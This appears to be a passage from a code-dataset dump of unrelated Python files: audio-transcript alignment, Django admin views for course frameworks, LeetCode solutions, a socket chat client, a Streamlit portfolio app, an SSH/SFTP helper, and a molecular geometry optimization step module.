alignment:\n if \"speaker\" in word:\n if word[\"speaker\"] == speaker:\n if start is None:\n start = word[\"start\"]\n end = word[\"end\"]\n else:\n if start is not None:\n seg = C.Segment(t, start, start, end - start)\n c.add_segment(seg)\n start = None\n end = None\n if start is not None:\n seg = C.Segment(t, start, start, word[\"end\"] - start)\n c.add_segment(seg)\n\n out_fn = \"static/speechtracks/%s-%s\" % (basename, speaker)\n\n c.export(\n min_length=t.duration,\n filename=out_fn,\n channels=1,\n filetype='wav',\n samplerate=t.samplerate,\n separate_tracks=False)\n\n return out_fn + \".wav\"\n\n\ndef analyze_speech(mp3_path, text_path, name, force=False):\n # text to transcript\n transcript_path = os.path.splitext(text_path)[0] + '.transcript'\n alignment_path = os.path.splitext(text_path)[0] + '.json'\n wav_path = os.path.splitext(mp3_path)[0] + '.wav'\n subprocess.call(\n \"python utilities/transcript_parser.py {} {}\".format(\n text_path, transcript_path), shell=True)\n with open(transcript_path, 'r') as trf:\n if len(json.load(trf)) == 0:\n speaker_name = raw_input(\"Enter the name of the speaker: \")\n subprocess.call(\n \"python p2fa-vislab/text_to_transcript.py {} --output-file {} --speaker-name \\\"{}\\\"\".format(\n text_path, transcript_path, speaker_name), shell=True)\n\n # alignment\n if not os.path.isfile(alignment_path) or force:\n subprocess.call(\"lame --decode {}\".format(mp3_path), shell=True)\n os.chdir('p2fa-vislab')\n subprocess.call(\"python align.py ../{} ../{} ../{} --json --phonemes\".format(\n wav_path, transcript_path, alignment_path), shell=True)\n\n # breath detection\n subprocess.call(\"python detect_breaths.py ../{} ../{}\".format(wav_path, alignment_path), shell=True)\n os.chdir('..')\n\n # wav2json\n speakers = set()\n with open(transcript_path, 'r') as trf:\n transcript = json.load(trf)\n for line in transcript:\n speakers.add(line[\"speaker\"])\n\n for speaker in speakers:\n speaker_wav_path = speaker_wav(wav_path, alignment_path, speaker)\n speaker_waveform_path = os.path.join(\n os.path.split(mp3_path)[0], 'wfData/{}-{}.wav.json'.format(name, speaker))\n\n subprocess.call(\"wav2json -p 2 -s 10000 --channels mid -n -o \\\"{}\\\" \\\"{}\\\"\".format(\n speaker_waveform_path, speaker_wav_path), shell=True)\n os.remove(speaker_wav_path)\n\n@click.command()\n@click.argument('name')\n@click.option('--force/--no-force', default=False,\n help=\"Re-align the text/audio even if the alignment already exists\")\ndef click_analyze_speech(name, force):\n mp3_path = \"static/speechtracks/{}.mp3\".format(name)\n text_path = \"static/speechtracks/{}.txt\".format(name)\n analyze_speech(mp3_path, text_path, name, force=force)\n\n\nif __name__ == '__main__':\n click_analyze_speech()\n","sub_path":"analyze_speech.py","file_name":"analyze_speech.py","file_ext":"py","file_size_in_byte":3610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"500960326","text":"from rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.http import HttpResponse\nimport pandas as pd\nfrom mainApp.forms import TrainingframeworkForm\nfrom mainApp.models import Major_Course, update_from_DF, create_from_DF, Echo, Courses, Majors, Units\nfrom mainApp.serializers.trainingframewordserializer import TrainingframeworkSerializer\nimport csv, io\nimport math\nfrom django.contrib.auth.decorators import login_required\nfrom django.template.response import TemplateResponse\nfrom mainApp.middlewares import checkInUrl\nfrom django.urls import reverse\nfrom django.http import HttpResponseRedirect\nfrom mainApp.viewapi.logs import createLog\n\n@login_required(login_url='/login/')\ndef trainingframeworkPagination_page(request, num=1, limit=10):\n \"\"\"\n Hiện thị trang danh sách chương trình đào tạo có trang và giới hạn bản ghi (chưa có dữ liệu)\n \"\"\"\n if checkInUrl(request, 'trainingframework') is False:\n listFunction = request.user.list_function()\n return HttpResponseRedirect(reverse(listFunction[0]))\n return TemplateResponse(request, 'adminuet/trainingframework.html', {'page': num, 'limit': limit})\n\n@login_required(login_url='/login/')\n@api_view(['GET'])\ndef trainingframework_getListForOffset(request, offset, limit):\n \"\"\"\n Hàm trả về các row trong unit theo offset\n Trả về số lượng page mà chia theo limit\n \"\"\"\n\n if checkInUrl(request, 'trainingframework') is False:\n listFunction = request.user.list_function()\n return HttpResponseRedirect(reverse(listFunction[0]))\n if request.method == 'GET':\n unitRole = request.user.unit_role\n if unitRole == 0:\n trainingframeworks = Major_Course.objects.order_by('-ID').all()\n else:\n trainingframeworks = Major_Course.objects.filter(major__unit=unitRole).order_by('-ID').all()\n trainingframeworkList = trainingframeworks[offset:offset + limit].select_related('course', 'major')\n trainingframeworkCount = trainingframeworks.count()\n trainingframeworkSerializer = TrainingframeworkSerializer(trainingframeworkList, many = True)\n for t, ts in zip(trainingframeworkList, trainingframeworkSerializer.data):\n ts['course'] = t.course.courseName\n ts['major'] = t.major.majorName\n page = math.ceil(trainingframeworkCount/limit)\n data = {\n 'data': trainingframeworkSerializer.data,\n 'numberOfPage': page,\n }\n createLog(request, 'VIEW - Khung đào tạo', '')\n return Response(data)\n\n@login_required(login_url='/login/')\n@api_view(['GET','POST'])\ndef trainingframework_form(request, id=0):\n \"\"\"\n Form chung cho cả Thêm mới và Sửa\n Thêm mới dùng POST\n Sửa dùng GET để lấy thêm dữ liệu của row hiện tại\n \"\"\"\n\n if checkInUrl(request, 'trainingframework') is False:\n listFunction = request.user.list_function()\n return HttpResponseRedirect(reverse(listFunction[0]))\n try:\n unitRole = request.user.unit_role\n cousers = Courses.objects.filter(unit=unitRole).all()\n majors = Majors.objects.filter(unit=unitRole).all()\n if request.method == 'GET':\n if id == 0:\n trainingframeworkForm = TrainingframeworkForm()\n else:\n major_Course = Major_Course.objects.get(pk=id)\n trainingframeworkForm = TrainingframeworkForm(instance=major_Course)\n return TemplateResponse(request, 'adminuet/trainingframeworkform.html', {'form': trainingframeworkForm, 'cousers': cousers, 'unitRole': unitRole, 'majors': majors})\n else:\n contentLog = 'UPDATE - Khung đào tạo'\n contentMsg = 'Cập nhật thành công.'\n if id == 0:\n trainingframeworkForm = TrainingframeworkForm(request.POST)\n contentLog = 'INSERT - Khung đào tạo'\n contentMsg = 'Thêm mới thành công.'\n else:\n major_Course = Major_Course.objects.get(pk=id)\n trainingframeworkForm = TrainingframeworkForm(request.POST, instance=major_Course)\n if trainingframeworkForm.is_valid():\n trainingframeworkForm.save()\n createLog(request, contentLog, '')\n messages.success(request, contentMsg)\n # unitNameNew = unitForm['unitName'].value()\n # if not checkUnitNameExist(unitNameNew.strip()):\n # unitForm.save()\n # else:\n # messages.error(request, 'Vui lòng thay đổi tên đơn vị. Đơn vị này đã tồn tại.')\n # return redirect('/adminuet/trainingframework-form/'+str(id))\n except (Exception) as error:\n print(error)\n messages.error(request, \"Thao tác thất bại.\")\n return redirect('/adminuet/trainingframework/')\n\n\n@login_required(login_url='/login/')\ndef trainingframework_delete(request, id):\n \"\"\"\n Xóa chương trình đào tạo\n Đưa id vào để xóa row có id\n \"\"\"\n if checkInUrl(request, 'trainingframework') is False:\n listFunction = request.user.list_function()\n return HttpResponseRedirect(reverse(listFunction[0]))\n try:\n majorcourse = Major_Course.objects.get(pk=id)\n createLog(request, 'DELETE - Khung đào tạo', str(majorcourse.major.majorName) + ' - ' +str(majorcourse.course.courseName))\n majorcourse.delete()\n messages.success(request, \"Xóa thành công.\")\n except (Exception) as error:\n print(error)\n messages.error(request, \"Thao tác thất bại.\")\n return redirect('/adminuet/trainingframework/')\n\n@login_required(login_url='/login/')\ndef import_page(request):\n \"\"\"\n Đọc file csv để nhập vào DB\n Hàm nhập từ file csv các trường Course, Semester_Recommend\n \"\"\"\n if checkInUrl(request, 'trainingframework') is False:\n listFunction = request.user.list_function()\n return HttpResponseRedirect(reverse(listFunction[0]))\n template = 'adminuet/trainingframeworkimport.html'\n units = Units.objects.all()\n context = {\n 'units': units,\n }\n if request.method == 'GET':\n return TemplateResponse(request, template, context=context)\n if request.method == 'POST':\n unitInput = request.POST['unit']\n majorInput = request.POST['major']\n checkUnit = Units.objects.filter(unitID=unitInput)\n checkMajor = Majors.objects.filter(majorID=majorInput)\n # Kiểm tra unitID và majorID client gửi lên có tồn tại không\n if checkUnit.exists() and checkMajor.exists():\n try:\n csv_file = request.FILES['document']\n except (Exception) as error:\n print(error)\n messages.error(request,'Lỗi: Chưa chọn tệp dữ liệu.')\n return TemplateResponse(request, template, context=context)\n if not csv_file.name.endswith('.csv'):\n messages.error(request,'Lỗi: Sai định dạng tệp. Vui lòng chọn lại tệp')\n return TemplateResponse(request, template, context=context)\n try:\n df = pd.read_csv(csv_file)\n courses = Courses.objects.all()\n dict_course = {}\n for course in courses:\n dict_course[course.courseName.lower()] = course.courseID\n for i, row in df.iterrows():\n # Kiểm tra course_id=coursename có tồn tại trong dict_course(có trong db)\n if row['Course'].lower() in dict_course:\n df.at[i, 'Course'] = dict_course[row['Course'].lower()]\n else:\n messages.error(request,'Lỗi: Không có môn ' + row['course_id'] + '.')\n return TemplateResponse(request, template)\n courseID = dict_course[row['Course'].lower()]\n semesterRecommend = row['Semester_Recommend']\n try:\n toDatabase = Major_Course(course_id=courseID, major_id=majorInput, semesterRecommended=semesterRecommend)\n toDatabase.save()\n except (Exception) as error:\n print(error)\n # dict_course = {}\n # dict_major = {}\n # for course in courses:\n # dict_course[course.courseName.lower()] = course.courseID\n # for major in majors:\n # dict_major[major.majorName.lower()] = major.majorID\n # for i, row in df.iterrows():\n # # Kiểm tra course_id=coursename có tồn tại trong dict_course(có trong db)\n # if row['course_id'].lower() in dict_course:\n # df.at[i, 'course_id'] = dict_course[row['course_id'].lower()]\n # else:\n # messages.error(request,'Lỗi: Không có môn ' + row['course_id'] + '.')\n # return TemplateResponse(request, template)\n # # Kiểm tra major_id=majorName có tồn tại trong dict_major(có trong db)\n # if row['major_id'].lower() in dict_major:\n # df.at[i, 'major_id'] = dict_major[row['major_id'].lower()]\n # else:\n # messages.error(request,'Lỗi: Không có môn ' + row['major_id'] + '.')\n # return TemplateResponse(request, template)\n # create_from_DF(df=df, model=Major_Course, searching_cols=['semesterRecommended', 'course_id', 'major_id'])\n except (Exception) as error:\n print(error)\n messages.error(request,'Lỗi: Dữ liệu không đúng định dạng.')\n return TemplateResponse(request, template, context=context)\n return redirect('/adminuet/trainingframework/')\n\n\n@login_required(login_url='/login/')\ndef export_page(request):\n \"\"\"\n Xuất danh sách các chương trình đào tạo ra file csv\n Hàm xuất từ danh sách trường ra file csv\n \"\"\"\n if checkInUrl(request, 'trainingframework') is False:\n listFunction = request.user.list_function()\n return HttpResponseRedirect(reverse(listFunction[0]))\n try: \n unitRole = request.user.unit_role\n nameFileExport = 'attachment; filename=\"{}.csv\"'.format(\"ListTrainingframework\")\n if unitRole == 0:\n list_majorcourse = Major_Course.objects.all()\n else:\n list_majorcourse = Major_Course.objects.filter(major__unit=unitRole).all()\n rows = ([i+1, majorcourse.course, majorcourse.major, majorcourse.semesterRecommended ] for majorcourse, i in zip(list_majorcourse, range(list_majorcourse.count())))\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = nameFileExport\n writer = csv.writer(response)\n writer.writerow(['stt', 'course', 'major', 'semesterRecommended'])\n for row in rows:\n writer.writerow([row[0], row[1], row[2], row[3]])\n createLog(request, 'EXPORT - Khung đào tạo', '')\n return response\n except (Exception) as error:\n print(error)\n return redirect('/adminuet/trainingframework/')","sub_path":"mainApp/viewapi/trainingframeworkview.py","file_name":"trainingframeworkview.py","file_ext":"py","file_size_in_byte":11558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"647532179","text":"'''\nLeetcode - 187. Repeated DNA Sequences \nTime complexity - O(N)\nspace complexity - O(1)\n\nApproach - 1) I traverse through the entire string with length 10\n 2) if that substring is in ptn set, then we append to the res set.\n 3) finally we convert set to list\n \n'''\nclass Solution:\n def findRepeatedDnaSequences(self, nums: str) -> List[str]:\n res=set()\n ptn=set()\n s=\"\"\n for i in range(0,len(nums)-9):\n s=nums[i:i+10]\n if s in ptn:\n res.add(s)\n ptn.add(s)\n \n return res\n \n \n \n ","sub_path":"Problem-162.py","file_name":"Problem-162.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"526437785","text":"# https://leetcode.com/problems/add-two-numbers/\r\n# 2. Add Two Numbers\r\n\r\n# You are given two non-empty linked lists representing two non-negative integers. The digits are stored in reverse order and each of their nodes contain a single digit. Add the two numbers and return it as a linked list.\r\n# You may assume the two numbers do not contain any leading zero, except the number 0 itself.\r\n# Example:\r\n# Input: (2 -> 4 -> 3) + (5 -> 6 -> 4)\r\n# Output: 7 -> 0 -> 8\r\n# Explanation: 342 + 465 = 807.\r\n\r\n\r\nclass Solution:\r\n def addTwoNumbers(self, l1, l2):\r\n '''def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:'''\r\n penalty = 0\r\n if l1.val + l2.val < 10:\r\n head = ListNode(l1.val + l2.val)\r\n else:\r\n head = ListNode(l1.val + l2.val - 10)\r\n penalty = 1\r\n current = head\r\n l1 = l1.next\r\n l2 = l2.next\r\n while l1 != None or l2 != None or penalty == 1:\r\n l1 = l1 if l1 else ListNode(0)\r\n l2 = l2 if l2 else ListNode(0)\r\n value = l1.val + l2.val + penalty\r\n node = ListNode(value % 10)\r\n penalty = int((value - (value % 10))/10)\r\n current.next = node\r\n current = node\r\n l1 = l1.next\r\n l2 = l2.next\r\n return head\r\n\r\n\r\nclass ListNode:\r\n def __init__(self, x):\r\n self.val = x\r\n self.next = None\r\n\r\n\r\nif __name__ == '__main__':\r\n l1 = ListNode(2) #(2 -> 4 -> 3)\r\n b = ListNode(4)\r\n c = ListNode(3)\r\n l1.next = b\r\n b.next = c\r\n\r\n l2 = ListNode(5) #(5 -> 6 -> 4)\r\n e = ListNode(6)\r\n f = ListNode(4)\r\n l2.next = e\r\n e.next = f\r\n\r\n solution = Solution()\r\n answer = solution.addTwoNumbers(l1,l2)\r\n\r\n while True:\r\n try:\r\n a = answer.val\r\n except:\r\n break\r\n else:\r\n print(a, end='')\r\n answer = answer.next\r\n","sub_path":"p2_add_two_numbers.py","file_name":"p2_add_two_numbers.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"109431622","text":"import os\nimport socket\nimport sys\nimport threading\nimport subprocess\n\nIP='192.168.1.141'\nPORT=9022\n\nclient_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nclient_socket.connect((IP,PORT))\nclient_socket.setblocking(False)\n\ndef send_message():\n print('for private message to someone, write call:name')\n while True:\n msg=input('->')\n if msg:\n client_socket.send(bytes(msg,\"utf-8\"))\n\n# what is the size of chunck\n# message=client_socket.recv(1024)\n# print(message.decode('utf-8'))\nt1=threading.Thread(target=send_message)\nt1.start()\nwhile True:\n try:\n while True:\n message=client_socket.recv(1024)\n if not message:\n print('connection close!')\n sys.exit()\n if message.decode(\"utf-8\").startswith(\"call:\"):\n pvname=message[5:]\n # os.system('clear')\n print(\"*--------------------------------------*\")\n print('{0} pv->>'.format(pvname))\n else:\n print(message.decode(\"utf-8\"))\n except IOError:\n pass\n # print(message.decode(\"utf-8\"))\n # msg=input('->')\n # client_socket.send(bytes(msg,\"utf-8\"))\n\n\n\n\n\n","sub_path":"chatRoom/clientSide_marziye.py","file_name":"clientSide_marziye.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"354953071","text":"import streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport plotly.express as px\r\nimport plotly.graph_objects as go\r\nfrom matplotlib import style\r\nimport random\r\n\r\nimport datetime as dt\r\nimport pandas_datareader.data as web\r\nimport mplfinance as mpf\r\nfrom finquant.portfolio import build_portfolio\r\nimport yfinance\r\n\r\nstyle.use('ggplot')\r\n\r\n\r\ndef app():\r\n uploaded_file = st.file_uploader(\"Choose a file: \", type=\"csv\")\r\n if uploaded_file is not None:\r\n df = pd.read_csv(uploaded_file)\r\n # uploaded_file.get()\r\n # df = pd.read_excel('materials.xlsx', nrows=nrows)\r\n\r\n st.dataframe(df)\r\n\r\n Portfolio_Total_Amount = sum(df['Allocation'] * df['Average_Price'])\r\n Portfolio_Total_Amount = round(Portfolio_Total_Amount, 2)\r\n st.write(Portfolio_Total_Amount)\r\n\r\n stock_tickers = df['Name'].values\r\n sizes = df['Allocation'] * df['Average_Price']\r\n\r\n listOfZeros = [0] * df.shape[0]\r\n n = random.randint(0, df.shape[0] - 1)\r\n listOfZeros[n] = 0.1\r\n explode = listOfZeros\r\n\r\n # Create a figure\r\n '''\r\n fig1, ax1 = plt.subplots(figsize=(10, 10))\r\n ax1.pie(sizes, explode=explode, labels=stock_tickers, autopct='%.2f%%', shadow='True', startangle=360)\r\n ax1.set_title('Portfolio Pie Chart', color='Purple', fontsize=22)\r\n\r\n\r\n # modified pyplot\r\n\r\n fig2, ax2 = plt.subplots(figsize=(10, 10))\r\n plt.pie(sizes, labels=stock_tickers, startangle=90, frame=True, explode=explode, radius=3)\r\n plt.pie(sizes, startangle=90, radius=2)\r\n # Draw circle\r\n centre_circle = plt.Circle((0, 0), 1.5, color='black', fc='white', linewidth=0)\r\n fig2 = plt.gcf()\r\n fig2.gca().add_artist(centre_circle)\r\n plt.axis('equal')\r\n plt.tight_layout()\r\n '''\r\n\r\n # plotly graph\r\n # fig = make_subplots(rows=1, cols=2)\r\n fig = px.pie(df, values=sizes, names=stock_tickers, title='Portfolio Pie Chart', width=200, height=200,\r\n color_discrete_sequence=px.colors.sequential.RdBu)\r\n fig.update_traces(textposition='inside', textinfo='percent+label',\r\n marker=dict(line=dict(color='#000000', width=1)))\r\n # fig.update_layout()\r\n # fig.show()\r\n\r\n '''\r\n x = -1.75\r\n y = 1\r\n ax1.text(x, y, 'Overview:', fontsize=24, color='Purple')\r\n\r\n y_counter = 0.12\r\n\r\n ax1.text(x, y - y_counter, 'Total: ' + str(Portfolio_Total_Amount), fontsize=15, color='Blue')\r\n\r\n for i in range(0, df.shape[0]):\r\n ax1.text(x, 0.88 - y_counter,\r\n df['Name'][i] + ': $' + str(round(df['Allocation'][i] * df['Average_Price'][i], 3)),\r\n fontsize=14, color='Black')\r\n y_counter = y_counter + 0.12\r\n\r\n '''\r\n\r\n # st.pyplot(fig1)\r\n # st.pyplot(fig)\r\n st.plotly_chart(fig)\r\n\r\n ##### Portfolio\r\n\r\n df_1 = df[['Name', 'Allocation']]\r\n pf_allocation = df_1\r\n pf_allocation\r\n\r\n names = df_1[\"Name\"].values.tolist()\r\n names\r\n\r\n start_date = dt.datetime(2015, 1, 1)\r\n end_date = dt.datetime.now()\r\n\r\n pf = build_portfolio(names=names, pf_allocation=pf_allocation, start_date=start_date, end_date=end_date,\r\n data_api='yfinance')\r\n\r\n st.write(pf.portfolio)\r\n # print(pf.data.head(3))\r\n # print(pf)\r\n pf_1 = pf.expected_return\r\n st.write(pf_1)\r\n\r\n pf_fig = pf.comp_cumulative_returns().plot().axhline(y=0, color=\"black\", lw=3)\r\n\r\n # st.pyplot(pf_fig)\r\n\r\n ##### Individual Graphs\r\n data = df\r\n\r\n start = dt.datetime(2020, 1, 1)\r\n end = dt.datetime.now()\r\n for i in data['Name']:\r\n df = web.DataReader(i, 'yahoo', start, end)\r\n df.to_csv(i + '.csv')\r\n\r\n st.write(i)\r\n\r\n daily_1 = pd.read_csv(i + '.csv', index_col=0, parse_dates=True)\r\n\r\n daily_1.index.name = 'Date'\r\n daily_1.shape\r\n daily_1.head(3)\r\n daily_1.tail(3)\r\n\r\n st.set_option('deprecation.showPyplotGlobalUse', False)\r\n\r\n plot_a1 = mpf.plot(daily_1)\r\n st.pyplot(plot_a1)\r\n\r\n plot_a2 = mpf.plot(daily_1, type='candle', mav=(3, 6, 9), volume=True)\r\n st.pyplot(plot_a2)\r\n","sub_path":"stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":4437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"503323129","text":"#!/usr/bin/env python\r\n#--coding:utf-8--\r\nimport sys\r\nimport os\r\n\r\nsys.path.append(os.path.dirname(os.path.abspath(__file__)))\r\n\r\nimport paramiko\r\n\r\nclass interServer:\r\n def __init__(self,command,hostname,ipattr,username):\r\n '''\r\n\r\n :param command:\r\n :param hostname:\r\n :param ipattr: ipattr=(\"10.0.0.20\",22)\r\n :param username:\r\n '''\r\n self.command=command\r\n self.hostname=hostname\r\n self.ipattr=ipattr\r\n self.username=username\r\n private_key = paramiko.RSAKey.from_private_key_file(\"../rsa/%s_rsa\"%hostname)\r\n transport=paramiko.Transport(ipattr)\r\n transport.connect(username=username, pkey=private_key)\r\n if command==\"ssh\":\r\n self.ssh = paramiko.SSHClient()\r\n self.ssh._transport=transport\r\n self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\r\n\r\n elif command==\"sftp\":\r\n self.sftp=paramiko.SFTPClient.from_transport(transport)\r\n def send(self,string):\r\n stdin,stdout,stderr=self.ssh.exec_command(string)\r\n ret=stdout.read().decode()\r\n return ret\r\n def upload(self,path):\r\n '''\r\n 放到对方的用户目录下同名\r\n :param filename:\r\n :return:\r\n '''\r\n filename=os.path.basename(path)\r\n self.sftp.put(path,'./%s'%filename)\r\n def listdir(self,path=\".\"):\r\n self.path=path\r\n self.dir_list=self.sftp.listdir(path)\r\n return self.dir_list\r\n def download(self,filename):\r\n self.sftp.get('./%s'%filename,\"../download/%s\"%filename)\r\n\r\n def changeMode(self,command):\r\n self.command=command\r\n def close(self):\r\n if self.command==\"ssh\":\r\n self.ssh.close()\r\n elif self.command==\"scp\":\r\n self.sftp.close()\r\n\r\n\r\n","sub_path":"models/connServer.py","file_name":"connServer.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"327075600","text":"# Functions for step algorithms: Newton-Raphson, Rational Function Optimization,\n# Steepest Descent.\nimport numpy as np\n#from .optParams import Params # this will not cause changes in trust to persist\nfrom . import optParams as op\nfrom .displace import displace\nfrom .intcosMisc import qShowForces\nfrom .addIntcos import linearBendCheck\nfrom math import sqrt, fabs\nfrom .printTools import printArray, printMat, print_opt\nfrom .misc import symmetrizeXYZ, isDqSymmetric\nfrom .linearAlgebra import absMax, symmMatEig, asymmMatEig, symmMatInv, norm\nfrom . import v3d\nfrom .history import History\nfrom . import optExceptions\n\n\n# This function and its components:\n# 1. Computes Dq, the step in internal coordinates.\n# 2. Calls displace and attempts to take the step.\n# 3. Updates history with results.\ndef Dq(Molsys, E, qForces, H, stepType=None, energy_function=None):\n if len(H) == 0 or len(qForces) == 0: return np.zeros((0), float)\n\n if not stepType:\n stepType = op.Params.step_type\n\n if stepType == 'NR':\n return Dq_NR(Molsys, E, qForces, H)\n elif stepType == 'RFO':\n return Dq_RFO(Molsys, E, qForces, H)\n elif stepType == 'SD':\n return Dq_SD(Molsys, E, qForces)\n elif stepType == 'BACKSTEP':\n return Dq_BACKSTEP(Molsys)\n elif stepType == 'P_RFO':\n return Dq_P_RFO(Molsys, E, qForces, H)\n elif stepType == 'LINESEARCH':\n return Dq_LINESEARCH(Molsys, E, qForces, H, energy_function)\n else:\n raise optExceptions.OPT_FAIL('Dq: step type not yet implemented')\n\n\n# Apply crude maximum step limit by scaling.\ndef applyIntrafragStepScaling(dq):\n trust = op.Params.intrafrag_trust\n if sqrt(np.dot(dq, dq)) > trust:\n scale = trust / sqrt(np.dot(dq, dq))\n print_opt(\"\\tStep length exceeds trust radius of %10.5f.\\n\" % trust)\n print_opt(\"\\tScaling displacements by %10.5f\\n\" % scale)\n dq *= scale\n return\n\n\n# Compute energy change along one dimension\ndef DE_projected(model, step, grad, hess):\n if model == 'NR':\n return (step * grad + 0.5 * step * step * hess)\n elif model == 'RFO':\n return (step * grad + 0.5 * step * step * hess) / (1 + step * step)\n else:\n raise optExceptions.OPT_FAIL(\"DE_projected does not recognize model.\")\n\n\n# geometry and E are just for passing\n# at present we are not storing the ACTUAL dq but the attempted\ndef Dq_NR(Molsys, E, fq, H):\n print_opt(\"\\tTaking NR optimization step.\\n\")\n\n # Hinv fq = dq\n Hinv = symmMatInv(H, redundant=True)\n dq = np.dot(Hinv, fq)\n\n # applies maximum internal coordinate change\n applyIntrafragStepScaling(dq)\n\n # get norm |q| and unit vector in the step direction\n nr_dqnorm = sqrt(np.dot(dq, dq))\n nr_u = dq.copy() / nr_dqnorm\n print_opt(\"\\tNorm of target step-size %15.10f\\n\" % nr_dqnorm)\n\n # get gradient and hessian in step direction\n nr_g = -1 * np.dot(fq, nr_u) # gradient, not force\n nr_h = np.dot(nr_u, np.dot(H, nr_u))\n\n if op.Params.print_lvl > 1:\n print_opt('\\t|NR target step|: %15.10f\\n' % nr_dqnorm)\n print_opt('\\tNR_gradient : %15.10f\\n' % nr_g)\n print_opt('\\tNR_hessian : %15.10f\\n' % nr_h)\n DEprojected = DE_projected('NR', nr_dqnorm, nr_g, nr_h)\n print_opt(\n \"\\tProjected energy change by quadratic approximation: %20.10lf\\n\" % DEprojected)\n\n # Scale fq into aJ for printing\n fq_aJ = qShowForces(Molsys.intcos, fq)\n displace(Molsys._fragments[0].intcos, Molsys._fragments[0].geom, dq, fq_aJ)\n\n dq_actual = sqrt(np.dot(dq, dq))\n print_opt(\"\\tNorm of achieved step-size %15.10f\\n\" % dq_actual)\n\n # Symmetrize the geometry for next step\n # symmetrize_geom()\n\n # save values in step data\n History.appendRecord(DEprojected, dq, nr_u, nr_g, nr_h)\n\n # Can check full geometry, but returned indices will correspond then to that.\n linearList = linearBendCheck(Molsys.intcos, Molsys.geom, dq)\n if linearList:\n raise optExceptions.ALG_FAIL(\"New linear angles\", newLinearBends=linearList)\n\n return dq\n\n\n# Take Rational Function Optimization step\ndef Dq_RFO(Molsys, E, fq, H):\n print_opt(\"\\tTaking RFO optimization step.\\n\")\n dim = len(fq)\n dq = np.zeros((dim), float) # To be determined and returned.\n trust = op.Params.intrafrag_trust # maximum step size\n max_projected_rfo_iter = 25 # max. # of iterations to try to converge RS-RFO\n rfo_follow_root = op.Params.rfo_follow_root # whether to follow root\n rfo_root = op.Params.rfo_root # if following, which root to follow\n\n # Determine the eigenvectors/eigenvalues of H.\n Hevals, Hevects = symmMatEig(H)\n\n # Build the original, unscaled RFO matrix.\n RFOmat = np.zeros((dim + 1, dim + 1), float)\n for i in range(dim):\n for j in range(dim):\n RFOmat[i, j] = H[i, j]\n RFOmat[i, dim] = RFOmat[dim, i] = -fq[i]\n\n if op.Params.print_lvl >= 4:\n print_opt(\"Original, unscaled RFO matrix:\\n\")\n printMat(RFOmat)\n\n symm_rfo_step = False\n SRFOmat = np.zeros((dim + 1, dim + 1), float) # For scaled RFO matrix.\n converged = False\n dqtdq = 10 # square of norm of step\n alpha = 1.0 # scaling factor for RS-RFO, scaling matrix is sI\n\n last_iter_evect = np.zeros((dim), float)\n if rfo_follow_root and len(History.steps) > 1:\n last_iter_evect[:] = History.steps[\n -2].followedUnitVector # RFO vector from previous geometry step\n\n # Iterative sequence to find alpha\n alphaIter = -1\n while not converged and alphaIter < max_projected_rfo_iter:\n alphaIter += 1\n\n # If we exhaust iterations without convergence, then bail on the\n # restricted-step algorithm. Set alpha=1 and apply crude scaling instead.\n if alphaIter == max_projected_rfo_iter:\n print_opt(\"\\tFailed to converge alpha. Doing simple step-scaling instead.\\n\")\n alpha = 1.0\n elif op.Params.simple_step_scaling:\n # Simple_step_scaling is on, not an iterative method.\n # Proceed through loop with alpha == 1, and then continue\n alphaIter = max_projected_rfo_iter\n\n # Scale the RFO matrix.\n for i in range(dim + 1):\n for j in range(dim):\n SRFOmat[j, i] = RFOmat[j, i] / alpha\n SRFOmat[dim, i] = RFOmat[dim, i]\n\n if op.Params.print_lvl >= 4:\n print_opt(\"\\nScaled RFO matrix.\\n\")\n printMat(SRFOmat)\n\n # Find the eigenvectors and eigenvalues of RFO matrix.\n SRFOevals, SRFOevects = asymmMatEig(SRFOmat)\n\n if op.Params.print_lvl >= 4:\n print_opt(\"Eigenvectors of scaled RFO matrix.\\n\")\n printMat(SRFOevects)\n\n if op.Params.print_lvl >= 2:\n print_opt(\"Eigenvalues of scaled RFO matrix.\\n\")\n printArray(SRFOevals)\n print_opt(\"First eigenvector (unnormalized) of scaled RFO matrix.\\n\")\n printArray(SRFOevects[0])\n\n # Do intermediate normalization. RFO paper says to scale eigenvector\n # to make the last element equal to 1. Bogus evect leads can be avoided\n # using root following.\n for i in range(dim + 1):\n # How big is dividing going to make the largest element?\n # Same check occurs below for acceptability.\n if fabs(SRFOevects[i][dim]) > 1.0e-10:\n tval = absMax(SRFOevects[i] / SRFOevects[i][dim])\n if tval < op.Params.rfo_normalization_max:\n for j in range(dim + 1):\n SRFOevects[i, j] /= SRFOevects[i, dim]\n\n if op.Params.print_lvl >= 4:\n print_opt(\"All scaled RFO eigenvectors (rows).\\n\")\n printMat(SRFOevects)\n\n # Use input rfo_root\n # If root-following is turned off, then take the eigenvector with the rfo_root'th lowest eigvenvalue.\n # If its the first iteration, then do the same. In subsequent steps, overlaps will be checked.\n if not rfo_follow_root or len(History.steps) < 2:\n\n # Determine root only once at beginning ?\n if alphaIter == 0:\n print_opt(\"\\tChecking RFO solution %d.\\n\" % (rfo_root + 1))\n\n for i in range(rfo_root, dim + 1):\n # Check symmetry of root.\n dq[:] = SRFOevects[i, 0:dim]\n if not op.Params.accept_symmetry_breaking:\n symm_rfo_step = isDqSymmetric(Molsys.intcos, Molsys.geom, dq)\n\n if not 